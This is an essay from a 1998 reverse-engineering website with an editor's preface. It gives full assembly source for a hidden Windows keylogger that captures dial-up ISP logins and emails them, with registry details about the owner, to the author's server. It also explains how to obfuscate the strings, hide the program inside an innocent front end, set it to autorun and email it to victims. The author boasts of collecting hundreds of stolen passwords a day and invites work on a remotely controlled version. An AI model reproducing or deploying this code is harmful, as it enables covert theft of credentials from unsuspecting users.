Anonymity
Fravia's Anonymity Academy

Reversing Governmental Polices: Internet access for the masses
by MML

(23 September 1998)
Mighty Mole! This cracker has produced a cracking virus that keeps sending him access passwords... Not bad, not at all! This very good essay recalls the splendid essay by Yamato: Going undercover and browsing on your own proxy that I posted on my pages more than a year ago... See! A good reverser, confronted with a situation he dislikes can do ANYTHING!
But the following is not even based on the physical access to your colleagues' computers (always dangerous if you ask me).
As you can read here, MML is seeking collaboration and help, and he has very sound ideas, hope many readers will join him and develop a small ad hoc project, that the +HCU will be happy to host and support. Yet there's at the same time something, here, that really should scare you all: as you will read it is relatively easy to implement (and hyde) such techniques. Therefore the chances of finding similar virus-like code snippets inside the huge and overbloated pukeprograms by Micro$oft are quite slim for the average luser (or gizmos, as MML calls them :-)
Any good idea for implementing a global 'culprit finder' tool that we could run (for instance checking inside your target for hidden code that opens or closes sockets)? We would be well advised to perform such checks -already now- BEFORE using any new application we buy (or crack :-)? Please send, please contribute, please read and enjoy!

               Reversing Governmental Polices



		     [ MML 23 Sep 1998 ]





  The Problem = Internet Access.



     1.	In a country where best pay packages are around $600 / month, the 

	cheapest internet access is charged at $1/hour + the phone line bill. 

     2.	The cheapest internet is provided by a governmental agency, and the 

	waiting list for ordinary people is 8 months and instant excess is 

	for high ups. 

     3.	Only the internet provided by the govt. ISP could be accessed 

  	from all major cities. 



  Due to the above facts I decided to device a scheme which will solve my internet 

  access problems on a permanent basis. 



  Design Basis.



     1.	The scheme must be able to trap the access passwords in a transparent 

  	way, and I must get them wherever I am. 

     2.	The program must be compatible with all WindooZ 95 versions. 

     3.	No undocumented API may be used. 

     4.	The size of the program should be as small as possible. 

     5.	Program must provide sufficent information about the user, so that 

	only passwords belonging to govt. agencies and companies should be 

	used and no innocent user is harmed. 



  Tools.



  TASM 5.0

  Borland Resource Editor 4.5

  M$ Resource Compiler for win32

  Any Good Editor



  Details.



  To write the shortest possible program, it must be in assembly and in 

  our case asm32. First I searched all the sites related with windows 95 

  assembly and got as much information as possible. (masta_s tutorials 

  really helped. The ideal way to get password is to trap it and send it 

  to an E-mail account, when a user logs on.



  Now our program must consist of the following parts :



  1- Trapping mechanism.

  2- Routines to gather information about the user.

  3- E-mailing scheme.



  A master logic controls the functions of all of the above routines. 

  Step by Step details of the above parts are given below :



  1-Trapping mechanism :



  In the logging on scheme of this ISP, after you dial the number, a black 

  window titled "Post-Dial terminal Session" appears. One must enter two 

  different logins and passwords (for extra security :-) to enter a unix

  machine, on which a menu appears and when one presses 'p' a message 

  appears that the machine is ready for ppp. After that you must press 

  F7 and you will be logged on the network. I planned to trap all the 

  keys which are being pressed in the "Post-Dial terminal session" window. 



  By consulting windows API we can see that it provides a number of 

  HOOK functions. To install a system Wide hook, the code must reside inside 

  a dll. As given in API :



  The SetWindowsHookEx function installs an application-defined hook 

  procedure into a hook chain. An application installs a hook procedure 

  to monitor the system for certain types of events. A hook procedure can

  monitor events associated either with a specific thread or with all threads 

  in the system. 



  HHOOK SetWindowsHookEx(

  int idHook, // type of hook to install

  HOOKPROC lpfn, // address of hook procedure

  HINSTANCE hMod, // handle of application instance

  DWORD dwThreadId // identity of thread to install hook for 

  );



  Two types of hook functions were used, the first hook activates the 

  keyboard hooking function, when "Post-Dial terminal Session" window 

  is activated. The code used in the dll is given below :







  ;Some Constants



  PUBLICDLL R16052

  PAGE_READWRITE = 04h

  FILE_MAP_READ_WRITE = (2h OR 4h ) 



  extern CreateFileMappingA :PROC

  extern MapViewOfFile :PROC

  extern SetTimer :PROC

  extern KillTimer :PROC

  extern UnmapViewOfFile :PROC

  extern OpenFileMappingA :PROC



  .data 



  ;================= DLL DATA AREA ========================= 



  cwin1 db 'Post-Dial Terminal',0 ;Title of window from which keys are captured

  length1 EQU ($-offset cwin1)-1

  keybuffer db 102 dup(0) ;Keyboard buffer

  bypass dw 0

  Keyhook dd 0

  buffindex dd 0

  Killk db 0

  new_hInst dd 0

  hhook1 dd 0 ;Hook Handle

  hw dd 0

  init12 dd 0

  szTitleName db 100 dup(0)

  titlelen dd 0

  fnam db "GothMachhi4991",0

  hmapf dd 0

  mapaddr dd 0



  ;================= DLL CODE AREA ========================= 



  .code 



  Start:



  DllMain PROC g_hInst: HINSTANCE, dwReason: DWORD, lperved: PVOID 



  push ebx ecx edx esi edi

  mov ebx, dwReason

  cmp ebx, DLL_PROCESS_ATTACH

  jnz @@3

  mov eax,[g_hInst]

  mov [new_hInst],eax



  @@3:





  mov eax, 1

  pop edi esi edx ecx ebx 

  ret 



  DllMain ENDP 



  ;---------------------------------------------------------------



  R16052 PROC uses , orighwnd:DWORD , myaction:DWORD 



  push ebx ecx edx esi edi 



  cmp [myaction],1

  jz @@uninstall 



  cmp [init12],0

  jne @@14 



  mov [init12],123

  mov eax,[orighwnd]

  mov [hw],eax



  call OpenFileMappingA, FILE_MAP_READ_WRITE, FALSE, offset fnam 



  ;Actual map file is created by the main program, and here it 

  ;is being opened for data transfer between dll and main program.



  test eax,eax

  jz @@15

  mov [hmapf],eax 



  call MapViewOfFile, [hmapf], FILE_MAP_READ_WRITE, 0, 0, 0 

  test eax,eax

  jz @@15

  mov [mapaddr],eax 



  push 0 

  push [new_hInst]

  push offset HookProc 

  push WH_SHELL 



  call SetWindowsHookExA 



  cmp eax,0

  je @@15

  mov [hhook1],eax

  jmp @@14



  @@uninstall:



  call UnhookWindowsHookEx, [hhook1] 



  call UnmapViewOfFile, [mapaddr]

  call CloseHandle, [hmapf] 



  @@14:

  mov eax,1 



  @@15:

  pop edi esi edx ecx ebx 



  ret 



  R16052 ENDP 



  <<<=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=--=-=-=>>> 



  HookProc proc uses ebx edi esi, nCode:DWORD, wparam1:DWORD, lparam1:DWORD 



  cmp nCode,0

  jl @@14 



  cmp [bypass],0DADh

  je @@15 



  cmp nCode,HSHELL_REDRAW

  jne @@14 



  call CheckTitle

  test eax,eax

  jnz @@13



  mov [bypass],0DADh 



  call SetWindowsHookExA, WH_KEYBOARD, offset KeyHookProc, [new_hInst], 0 



  cmp eax,0

  je @@error

  mov [Keyhook],eax

  jmp @@13 



  @@error:

  mov eax,0FFFFFFFFh

  mov [bypass],0 



  @@13:

  mov ecx,[titlelen]

  mov eax,0 

  mov edi,offset szTitleName

  cld

  rep stosb 



  @@14:

  call callNextHookEx, [hhook1], [nCode], [wparam1], [lparam1] 



  ret 



  @@15:

  cmp nCode,HSHELL_WINDOWDESTROYED

  jne @@14 



  call CheckTitle

  test eax,eax

  jnz @@13 



  call UnhookWindowsHookEx, [Keyhook] 



  mov eax,[buffindex]

  mov ecx,eax

  push ecx

  mov esi,offset keybuffer

  mov edi,[mapaddr]

  push edi

  cld

  inc edi

  inc edi

  repne movsb 



  pop edi

  pop ecx

  mov word ptr [edi],cx



  mov [bypass],0

  mov [Killk],0 



  jmp @@13 



  HookProc endp 



  <<<=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>>> 



  CheckTitle proc 



  call GetWindowTextLengthA , [wparam1]

  inc eax 



  mov [titlelen], eax

  call GetWindowText,[wparam1],offset szTitleName,eax 



  lea esi, cwin1

  lea edi, szTitleName

  mov ecx, length1

  repe cmpsb

  jne @@notEq

  jmp @@equal





  @@notEq:





  mov eax,1 

  ret





  @@equal:

  mov eax,0

  ret 



  CheckTitle endp 



  <<<=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>>> 



  KeyHookProc proc uses ebx edi esi, nCode:DWORD, wparam1:DWORD, lparam1:DWORD 



  cmp nCode,0

  jl @@13 



  mov eax,lparam1

  test eax,80000000h

  jz @@13 



  cmp [Killk],5

  jz @@13 



  mov edx,[buffindex]

  mov eax,[wparam1]

  mov edi,offset keybuffer 

  add edi,edx

  mov byte ptr[edi],al

  inc [buffindex]

  cmp [buffindex],100 



  jae @@15 



  @@13:

  call callNextHookEx, [hhook1], [nCode], [wparam1], [lparam1] 



  ret 



  @@15:

  mov [Killk],5

  jmp @@13 



  KeyHookProc endp 



  <<<=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>>>

  End Start







  As you may have noted I haven't commented much the code, that is 

  because it is not ment for total gizmos. A brief summary of the 

  actions which the code is doing is given below :



  A shell hook WH_SHELL is installed. It monitors the title of every 

  window being activated. When our target window becomes activated, 

  it installs the keyboard hook procedure, which captures the key 

  strokes. When the window is closed (F7 pressed) the shell hook 

  procedure sets a byte in the mapping file, (mapping file is being

  continuously monitored by the main program). When the main program 

  reads that particular byte its sends the keys via SMTP mail.



  A single data area is being used for all the instances of 

  the dll. (This must be mentioned in the def file).



   



  2-Routines to send E-mail :



  The main program is given below :







  .data



  ;================ MAIN FILE DATA ================================



  newhwnd  dd      0

  msg              MSGSTRUCT      <?>

  wc               WNDCLASS       <?>



  hInst    dd      0

  szClassName             db      'ASMCLASS32',0





  Mydllname               db      "xyz.dll",0

  MydllHwnd               dd      0

  Mydllfunctionname       db      "R16052",0

  Mydllfunctionadd        dd      0



  fnam     db      "GothMachhi4991",0

  hmapf    dd      0

  mapaddr  dd      0

  keymaillen              dd      0

  keymailbase             dd      0

  ipaddbase               dd      0

  iplen    dd      0

  bypass   db      0

  try      db      0

  newlogicp               db      0

          

  ;=============== REGISTRY DATA ==================================



  subkeyval       db      'RemoteAccess'

  n               db      0

                  db      'Profile\'

  reglen          equ     $-offset subkeyval



  n1              db      80 dup(0)

  val1            db      'Default',0



  phkresult       dd      0

  dwtype          dd      0

  rkbuff          db      80 dup(0)

  rknum           dd      80

  rknum1          dd      12



  userb           db      60 dup(0)

  compb           db      60 dup(0)

  userl           dd      59

  compbl          dd      59





  key             db      055h,054h,012h,095h,056h,0d0h,015h,0d1h,097h

                  db      0d3h,0dah,059h,01dh,05ch,05dh,05ch,01ah,09dh,097h

                  db      056h,0dah,01ch,099h,05ch,05eh,05dh,097h,051h,0ddh

                  db      01dh,01dh,0d9h,01ch,09dh,016h,0d9h,01dh,05dh,0dah

                  db      05ch,01ch,080h,080h

           ;------>SOFTWARE\Microsoft\Windows\CurrentVersion



  val2            db      015h,0d9h,05ah,0dah,05dh,09dh,0d9h,01dh,0d9h,099h

                  db      054h,05eh,01ch,0d9h,01dh,080h,080h

           ;------>RegisteredOwner



  val3            db      015h,0d9h,05ah,0dah,05dh,09dh,0d9h,01dh,0d9h,099h

                  db      054h,01dh,05ah,0d8h,01ch,0dah,01fh,0d8h,09dh,0dah

                  db      05ch,01ch,080h,080h

           ;------>RegisteredOrganization



  tkeylen         =       $-offset key



  ;================ WINSOCK DATA ==================================



  wsa      WSADATA <?>

  hserver         dd      0

  addr     SOCKADDR_IN <?>



  databuff        db      70h dup(0)



  helo            db      092h,0d1h,093h,054h,088h,09ch,0d8h,05bh,01ch,0d9h

                  db      0c3h

                  db      03h

           ;--------------->'HELO abc.xyz.com',0dh,0ah

  helolen         equ     $-offset helo



  mailfrm         db      0d3h,0d0h,0d2h,093h,088h,012h,015h,054h,0d3h,0fh



           ;------------>'MAIL FROM: 123@xyz.com',0dh,0ah

  mailfrmlen      equ     $-offset mailfrm



  rcptto          db      015h,051h,094h,095h,088h,095h,054h,0fh,088h,01dh

           ;-------->'RCPT TO: abc@123.net',0dh,0ah



  rcpttolen       equ     $-offset rcptto



  cdata           db      091h,0d0h,095h,0d0h,0c3h,03h

           ;--------->'DATA',0dh,0ah

  cdatalen        equ     $-offset cdata



  qmail           db      0d4h,0d5h,0d2h,095h,0c3h,03h

           ;--------->'QUIT',0dh,0ah

  qlen            equ     $-offset qmail



  subject         db      05dh,0ddh,019h,01bh,0d9h,059h,09dh,088h,0fh

  rsub            db      45 dup(88h)

                  db      0c3h,03h

           ;------> subject : xxxxxxxxxxxxxx

  subjectlen      equ     $-offset subject



  totallen        equ     $-offset helo



  fdata           db      0dh,0ah,'.',0dh,0ah



  ecount          db      3



  ipofhost        dd      01234567h ;IP address of your SMTP server

  ;==================================================================





  .Code



  Main:

          push    L 0

          call    GetModuleHandleA        ; get hmod (in eax)

          mov     [hInst], eax            ; hInstance is same as HMODULE

				          ; in the Win32 world



          mov     [wc.clsStyle], CS_HREDRAW + CS_VREDRAW + CS_GLOBALCLASS

          mov     [wc.clsLpfnWndProc],offset WndProc

          mov     [wc.clsCbClsExtra], 0

          mov     [wc.clsCbWndExtra], 0



          mov     eax,[hInst]

          mov     [wc.clsHInstance], eax



          mov     [wc.clsHbrBackground], COLOR_WINDOW + 1

          mov     dword ptr [wc.clsLpszMenuName], 0

          mov     dword ptr [wc.clsLpszClassName], offset szClassName



          push    offset wc

          call    RegisterClassA



          push    L 0       ; lpParam

          push    [hInst]   ; hInstance

          push    L 0       ; menu

          push    L 0       ; parent hwnd

          push    L CW_USEDEFAULT          ; height

          push    L CW_USEDEFAULT          ; width

          push    L CW_USEDEFAULT          ; y

          push    L CW_USEDEFAULT          ; x

          push    L WS_OVERLAPPEDWINDOW    ; Style

          push    0         ;offset szTitleName       ; Title string

          push    offset szClassName       ; Class name

          push    L 0       ; extra style



          call    CreateWindowExA



          mov     [newhwnd], eax



   msg_loop:

          push    L 0

          push    L 0

          push    L 0

          push    offset msg

          call    GetMessageA



          cmp     ax, 0

          je      end_loop



          push    offset msg

          call    TranslateMessage



          push    offset msg

          call    DispatchMessageA



          jmp     msg_loop



  end_loop:



          push    [msg.msWPARAM]

          call    ExitProcess



  ;-----------------------------------------------------------------------------



  WndProc          proc uses ebx edi esi, hwnd3:DWORD, wmsg:DWORD, wparam:DWORD, lparam:DWORD



  ;--------;;;;;Win32 requires that EBX, EDI, and ESI be preserved!  



          

          LOCAL   theDC:DWORD



          cmp     [wmsg], WM_DESTROY

          je      wmdestroy

          

          cmp     [wmsg], WM_CREATE

          je      wmcreate

          

          cmp     [wmsg],WM_TIMER

          je      wmtimer



          jmp     defwndproc



  wmcreate:

          

     mov     byte ptr [try],3

                  

     call    CreateFileMappingA, 0ffffffffh, NULL, PAGE_READWRITE , 0, (1024*3), offset fnam

     test    eax,eax

     jz      @@force

          

     mov     [hmapf],eax



     call    MapViewOfFile, [hmapf], FILE_MAP_READ_WRITE, 0, 0, 0 ;FILE_MAP_ALL_ACCESS

     test    eax,eax

     jz      @@f1



     mov     [mapaddr],eax



          mov     edx,eax

          xor     eax,eax

          mov     [edx],eax       



          call    SetTimer, [hwnd3], 1, 1000, NULL



          call    LoadLibraryA, offset Mydllname

          mov     MydllHwnd, eax



          call    GetProcAddress, [MydllHwnd], offset Mydllfunctionname

          mov     Mydllfunctionadd, eax



          call    [Mydllfunctionadd], [hwnd3],0   

          cmp     eax,0

          jz      wmdestroy



          jmp     finish





  wmtimer:

          cmp     byte ptr [bypass],1

          jz      @@newlogic



          mov     eax, [mapaddr]

          cmp     word ptr [eax],0

          jz      finish

          call    KillTimer, [hwnd3], 1

          

          call    SendMeData

          call    QDEmail

          cmp     eax,0

          jz      wmdestroy



          mov     [bypass],1

          call    SetTimer, [hwnd3], 1, (60*1000*5), NULL

          jmp     finish



  @@newlogic :

          

          cmp     byte ptr[newlogicp],1

          jz      @@f

          dec     byte ptr [try]

          cmp     byte ptr[try],0

          jz      wmdestroy



          mov     byte ptr[newlogicp],1

          call    QDEmail

          cmp     eax,0

          jnz     @@f2

          call    KillTimer, [hwnd3], 1             



          jmp     wmdestroy

          

  @@f2:

          cmp     [try],1

          jnz     @@13

          mov     [ipofhost],abcdefgh     ;abcdefgh=alternate IP address



  @@13:

          mov     byte ptr[newlogicp],0



  @@f:

          jmp     finish            





  wmdestroy:



          call    [Mydllfunctionadd], [hwnd3],1



          call    UnmapViewOfFile, [mapaddr]



  @@f1:



          call    CloseHandle,     [hmapf]

                  

  @@force:



          push    L 0

          call    PostQuitMessage

          mov     eax, 0

          jmp     finish





  defwndproc:

          push    [lparam]

          push    [wparam]

          push    [wmsg]

          push    [hwnd3]

          call    DefWindowProcA

          jmp     finish





  finish:

          ret



  WndProc          endp

  ;-------------------------------------------------------







  HexWrite8 proc

  ;

  ; AL has two hex digits that will be written to ES:EDI in ASCII form

  ;



          mov     ah, al

          and     al, 0fh

          shr     ah, 4

                   ; ah has MSD

                   ; al has LSD

          or      ax, 3030h

          xchg    al, ah

          cmp     ah, 39h

          ja      @@4

  @@1:

          cmp     al, 39h

          ja      @@3

  @@2:

          stosw

          ret

  @@3:

          sub     al, 30h

          add     al, 'A' - 10

          jmp     @@2

  @@4:

          sub     ah, 30h

          add     ah, 'A' - 10

          jmp     @@1



  HexWrite8 endp



  <<<=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>>>



  QDEmail         proc uses ebx edi esi



          mov     byte ptr[ecount],2



          call    WSAStartup, 101, offset wsa`    

          test    eax, eax

          jnz     @@Error



          call    socket, AF_INET, SOCK_STREAM, 0

          cmp     eax,0ffffffffh

          jz      @@Error

          mov     [hserver],eax

          

          mov     [addr.sin_port], 1900h          ;No need to call htons (19h->1900h)

          mov     [addr.sin_family],AF_INET

          mov     eax,[ipofhost]

          mov     [addr.sin_addr],eax             ;host Ip in hex 



  @@again:        

          call    connect, [hserver], offset addr, 010h

          test    eax,eax

          jz      @@continue



          call    WSAGetLastError

          cmp     [ecount],0

          jz      @@Error1

          dec     [ecount]



          jmp     @@again

  @@continue:



          call    recv, [hserver], offset databuff, 70h, 0 

          test    eax,eax

          jz      @@Error1

          cmp     [databuff],'3'

          ja      @@Error1

          

          call    Decrypt, totallen, offset helo



          call    send, [hserver], offset helo, helolen,0

          call    recv, [hserver], offset databuff, 70h, 0

          test    eax,eax

          jz      @@Error1

          cmp     [databuff],'3'

          ja      @@Error1



          call    send, [hserver], offset mailfrm, mailfrmlen,0   

          call    recv, [hserver], offset databuff, 70h, 0

          test    eax,eax

          jz      @@E1

          cmp     [databuff],'3'

          ja      @@E1



          call    send, [hserver], offset rcptto, rcpttolen,0

          call    recv, [hserver], offset databuff, 70h, 0

          test    eax,eax

          jz      @@E1

          cmp     [databuff],'3'

          ja      @@E1



          call    send, [hserver], offset cdata, cdatalen,0

          call    recv, [hserver], offset databuff, 70h, 0

          test    eax,eax

          jz      @@E1

          cmp     [databuff],'3'

          ja      @@E1



          call    send, [hserver], offset subject, subjectlen,0

          call    send, [hserver], [Keymailbase], [Keymaillen],0 ;Send Key Codes

          call    send, [hserver], offset fdata, 2,0 ;---> CR/LF

          

          cmp     [rknum],0

          jz      @@nosend

          

          call    send, [hserver], [IPaddBase], [IPlen],0 ;Send Registry Default IP

          call    send, [hserver], offset fdata, 2,0 ;---> CR/LF



          call    send, [hserver], offset userb, [userl],0 ;Send Registry User Name

          call    send, [hserver], offset fdata, 2,0 ;---> CR/LF



          call    send, [hserver], offset compb, [compbl],0 ;Send Registry Company

          call    send, [hserver], offset fdata, 2,0 ;---> CR/LF

  @@nosend:



          cmp     [rknum1],0

          jz      @@nosend1

          

          call    send, [hserver], offset subkeyval,[rknum1],0 ;Send Registry ISP name

          call    send, [hserver], offset fdata, 2,0      



  @@nosend1:

          

          call    send, [hserver], offset fdata, 5,0      ;Finish sending data



          call    recv, [hserver], offset databuff, 70h, 0

          test    eax,eax

          jz      @@E1

          cmp     [databuff],'3'

          ja      @@E1



          call    send, [hserver], offset qmail, qlen,0

          call    recv, [hserver], offset databuff, 70h, 0



  @@E1:

          call    closesocket, [hserver]

          call    WSACleanup

          

          mov     eax,0

          ret

  @@Error1:

          

          call    closesocket, [hserver]

          call    WSACleanup



  @@Error:

          mov     eax,1    

          ret





  QDEmail         Endp



  <<<=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>>>



  GetDefaultIP    Proc uses ebx edi esi



          call    RegOpenKeyExA, HKEY_CURRENT_USER, offset subkeyval,\

                   0,KEY_ALL_ACCESS, offset phkresult

          cmp     eax,ERROR_SUCCESS

          jnz     @@ga1

           

          call    RegQueryValueExA, [phkresult], offset val1\

                    , 0, offset dwtype, offset rkbuff, offset rknum

          test    eax,eax



          call    RegCloseKey, [phkresult]



          

          mov     [n],'\'

          mov     ecx,[rknum]

          mov     edx,ecx

          mov     edi,offset n1

          mov     esi,offset rkbuff       

          repne   movsb

          

          dec     edx

          add     edx,reglen

          mov     [rknum1],edx



          mov     byte ptr[val1],'I'

          mov     byte ptr[val1+1],'P'

          mov     byte ptr[val1+2],0



          mov     [rknum],60



          call    RegOpenKeyExA, HKEY_CURRENT_USER, offset subkeyval,\

                   0,KEY_ALL_ACCESS, offset phkresult

          cmp     eax,ERROR_SUCCESS

          jnz     @@getaway



          call    RegQueryValueExA, [phkresult], offset val1\

                    , 0, offset dwtype, offset rkbuff, offset rknum

          

          call    RegCloseKey, [phkresult]

  ;-------------------------------------------------------------------

          

          call    Decrypt,tkeylen, offset key

   

          call    RegOpenKeyExA, HKEY_LOCAL_MACHINE, offset key,\

                   0,KEY_ALL_ACCESS, offset phkresult

          cmp     eax,ERROR_SUCCESS

          jnz     @@jmp



          call    RegQueryValueExA, [phkresult], offset val2\

                    , 0, offset dwtype, offset userb, offset userl

          dec     [userl]



          call    RegQueryValueExA, [phkresult], offset val3\

                    , 0, offset dwtype, offset compb, offset compbl

          dec     [compbl]



          call    RegCloseKey, [phkresult]

  ;------------------------------------------------------------------



  @@jmp:

          

          ret



  @@ga1 :



          mov     [rknum1],0



  @@getaway:

          

          mov     [rknum],0



          ret





  GetDefaultIP    Endp





  <<<=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>>>



  SendMeData      Proc



          mov     eax, [mapaddr]

          movzx   ecx,word ptr[eax]

          mov     esi,eax

          

          add     eax,ecx

          inc     eax

          inc     eax

          inc     eax



          inc     esi

          inc     esi



          mov     edi,eax

          

          push    ecx

          push    edi



  @@again:



          push    esi edi

          mov     al,byte ptr[esi]

          call    HexWrite8

          pop     edi esi



          inc     esi

          inc     edi

          inc     edi

          loop    @@again

          

          mov     byte ptr[edi],0dh

          inc     edi

          mov     byte ptr[edi],0ah

          inc     edi

          mov     byte ptr[edi],'I'



          pop     edi

          pop     ecx

          inc     ecx

          shl     ecx,1

          inc     ecx



          mov     [Keymailbase],edi

          mov     [Keymaillen],ecx



          call    GetDefaultIP



          mov     ecx,[rknum]

          cmp     ecx,0

          jz      @@ret

          

          mov     edi, [Keymailbase] 

          mov     eax, [Keymaillen]

          add     edi,eax

          mov     [IPaddBase],edi



          inc     ecx

          shl     ecx,1

          mov     [IPlen],ecx



          shr     ecx,1

          dec     ecx



          mov     esi,offset rkbuff

          

  @@again1:



          push    esi edi

          mov     al,byte ptr[esi]

          call    HexWrite8

          pop     edi esi



          inc     esi

          inc     edi

          inc     edi

          loop    @@again1



          mov     byte ptr[edi],0dh

          inc     edi

          mov     byte ptr[edi],0ah





  @@ret:

          

          ret



  SendMeData      Endp



  <<<=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>>>



  Decrypt         Proc    data_length:DWORD, start:DWORD



          mov     ecx,data_length

          xor     eax,eax

          mov     esi,offset start



  @@again:

          mov     al,byte ptr[esi]

          rol     al,1

          dec     al

          rol     al,1

          mov     byte ptr[esi],al

          inc     esi

          loop    @@again



          ret





  Decrypt         Endp

  <<<=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=>>>



  End Main         ;end of code, JUMP-spot (main)







  Most of the code is self explainatory. But you may like to note the 

  following details :



  1- The data is encrypted so that any gizmo may not be able to see 

     the text via HEX editor.



  2- Two Redirectable E-mail accounts were made on internet (There are 

     hundert of them freely available).



  3- Both from and to addresses must be on different places, so that 

     bounced back messages are not lost.



  4- Main program tries to send the mail a number of times, if unsuccessful 

     it tries an alternate SMTP server. If successful the program quits 

     normally.



  5- No Show window function is included in the main code.



  6-Program opens a mapping file to communicate with the dll. A timer 

    function is installed which monitors the first bytes of this mapping 

    file, if these bytes are changed (i-e signal from dll that the keys 

    are ready for sending) the program sends the trapped data along with 

    some interesting registery keys.



  Compilation results :



  Both the dll and exe were compiled with TASM. The file size for each 

  was 8k (Only). Actually the size is much smaller than 8K but I think 

  that the minimum size of 8k is some how related with my HD cluster size.



  Program Deployment:



  These two files are so small that they can be included with any 

  program (as resource data etc.). The front end of the program can be 

  any thing (like a poem etc.). 



  The front end program copies these files in the default windows directory 

  and enters its name in the auto run key of registery. As the program name 

  appears in the Ctrl-Alt-Del list, so it must be like some background process 

  (osa.exe, rnaapp etc).



  The total uncompressed size of my front end + these files was 24 K. (which 

  reduced to 6K in zip file). Programs of this size can be eaisly sent via 

  E-mail to your targets.



  Results :



  I wrote this program in june 1998 and it has been several months since 

  it is in the open. I receive now HUNDRED of passwords daily (even powerful 

  shell accounts of ISP themselves).



  A typical result is given below :



  414234564A410D52414E493432300D50

  I

  1C000000000000000000000000000000000000000000000000000000



  Shahnawaz Gugher

  Falcon computers

  RemoteAccess\Profile\My Connection 4



  Which gives the us the password in scan code form in the first line. 

  A simple program can be written to decrypt it. 



  Lessons to be Learnt :



     1.Every Reverser must check the programs which he receives. 

     2.As I have noted that my program takes only a fraction of a second 

       to send the mail, so we must check every program from Micro$oft etc. 

       for similar code. 



  Further research :



  As I currently have no control over the program, it sends mail every 

  time the user connects. So in future versions i am thinking of a http 

  based trapper.



  - The program will trap the keys, then connect to a web address and 

    receive further instructions about what to to do next.



  The next important thing which i want to do is to make this program 

  capable of trapping the passwords which are in pwl files or for the 

  connection sechemes in which "Post dial terminal window" is not required.



  Any one interested in the above projects is welcome to contact me 

  at -mml-@iname.com



MML

You'r deep inside fravia's pages of reverse engineering, choose your way out
Anonymity
Fravia's Anonymity Academy
homepage links redanonymity +ORC tools counter measures
students' essays cocktails search_forms antismut mail_fravia
Is reverse engineering legal?